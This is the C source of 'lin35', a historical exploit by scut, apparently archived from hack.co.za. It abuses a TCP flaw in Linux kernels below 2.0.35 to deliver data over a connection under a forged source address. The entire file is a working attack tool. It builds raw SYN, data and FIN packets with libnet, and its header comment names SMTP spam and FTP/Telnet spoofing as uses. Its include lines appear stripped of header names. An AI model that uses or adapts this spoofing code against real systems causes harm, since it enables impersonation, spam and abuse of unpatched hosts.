/* * linux 2.0.35 and older * tcp flaw exploit (discovered by network associates, october 1998) * by scut (990310) * * description: linux does send the tcp data received in the SYN_RECEIVED * state if a FIN packet is send * affect: blind spoofing on linux systems with kernel version below 2.0.35 * useful for: SMTP spoofing (for the lamers to spam) * FTP/Telnet spoofing * for the lamers: no, you cannot spoof your mIRC with this * * for compilation you need libnet, a low level network library from route, * go to http://www.infonexus.com/~daemon9/ * then try with: * * gcc -o lin35 lin35.c -lnet -D_BSD_SOURCE=1 */ #include #include #include #include #include int main(int argc, char **argv) { u_long dip = 0; u_long sip = 0; u_short dp = 0; u_short sp = 0; u_long seq; u_char *buf, *fbuf; int c, s, fp; unsigned long int fs; printf("lin35 - linux < 2.0.35 spoofer by sc!\n"); if (argc != 7) { printf("usage: %s shost sport dhost dport delay file\n", argv[0]); printf(" shost = source host (name or ip)\n"); printf(" sport = source port\n"); printf(" dhost = destination host\n"); printf(" dport = destination port\n"); printf(" delay = time to wait (in ms) between SYN and data and FIN\n"); printf(" file = filename to read data from\n"); exit(0); } sip = name_resolve(argv[1], 1); sp = atoi(argv[2]); dip = name_resolve(argv[3], 1); dp = atoi(argv[4]); fp = open(argv[6], O_RDONLY); if (fp == -1) { fprintf(stderr, "file not found\n"); exit(1); } fs = lseek(fp, 0, SEEK_END); if (fs == -1) { fprintf(stderr, "file end not found\n"); exit(1); } if (lseek(fp, 0, SEEK_SET) == -1) { fprintf(stderr, "cannot reset offset\n"); exit(1); } printf("[35] data file: %s - file size: %u\n", argv[6], fs); if (fs > (MAX_PACKET - (IP_H + TCP_H))) { fprintf(stderr, "file too big, exiting\n"); exit(1); } fbuf = malloc(fs); if (fbuf == NULL) { fprintf(stderr, "cannot load file to mem\n"); exit(1); } c = read(fp, fbuf, fs); if (c != fs) { fprintf(stderr, "cannot read file\n"); exit(1); } buf = calloc(1, TCP_H + IP_H); if (buf == NULL) { fprintf(stderr, "no memory for packet\n"); exit(1); } s = open_raw_sock(IPPROTO_RAW); if (s == -1) { fprintf(stderr, "cannot open raw socket\n"); exit(1); } seq = get_prand(PRu32); /* first initiate a connection */ printf("[35] opening connection, sending SYN\n"); build_ip(TCP_H, 0, get_prand(PRu16), 0, get_prand(PR8), IPPROTO_TCP, sip, dip, NULL, 0, buf); build_tcp(sp, dp, seq, 0, TH_SYN, 16384, 0, NULL, 0, buf + IP_H); do_checksum(buf, IPPROTO_TCP, TCP_H); c = write_ip(s, buf, TCP_H + IP_H); if (c < TCP_H + IP_H) { fprintf(stderr, "send to less bytes\n"); exit(1); } /* now wait to let the connection establish */ usleep(atoi(argv[5]) * 1000); /* then send data packet */ printf("[35] sending data packet (%u bytes of data)\n", fs); buf = realloc(buf, TCP_H + IP_H + fs); if (buf == NULL) { fprintf(stderr, "memory\n"); exit(1); } build_ip(TCP_H, 0, get_prand(PRu16), 0, get_prand(PR8), IPPROTO_TCP, sip, dip, NULL, 0, buf); build_tcp(sp, dp, seq + 1, 0, 0, 16384, 0, fbuf, fs, buf + IP_H); do_checksum(buf, IPPROTO_TCP, TCP_H); c = write_ip(s, buf, TCP_H + IP_H + fs); if (c < (TCP_H + IP_H + fs)) { fprintf(stderr, "send to less bytes (%d) for data packet\n", c); exit(1); } /* now wait again */ usleep(atoi(argv[5]) * 1000); /* and close the connection */ printf("[35] closing connection, sending FIN\n"); build_ip(TCP_H, 0, get_prand(PRu16), 0, get_prand(PR8), IPPROTO_TCP, sip, dip, NULL, 0, buf); build_tcp(sp, dp, seq + 1 + fs, 0, TH_FIN, 16384, 0, NULL, 0, buf + IP_H); do_checksum(buf, IPPROTO_TCP, TCP_H); c = write_ip(s, buf, TCP_H + IP_H); if (c < TCP_H + IP_H) { fprintf(stderr, "send to less bytes\n"); exit(1); } printf("[35] successful\n"); free(fbuf); free(buf); return(0); } /* www.hack.co.za [2000]*/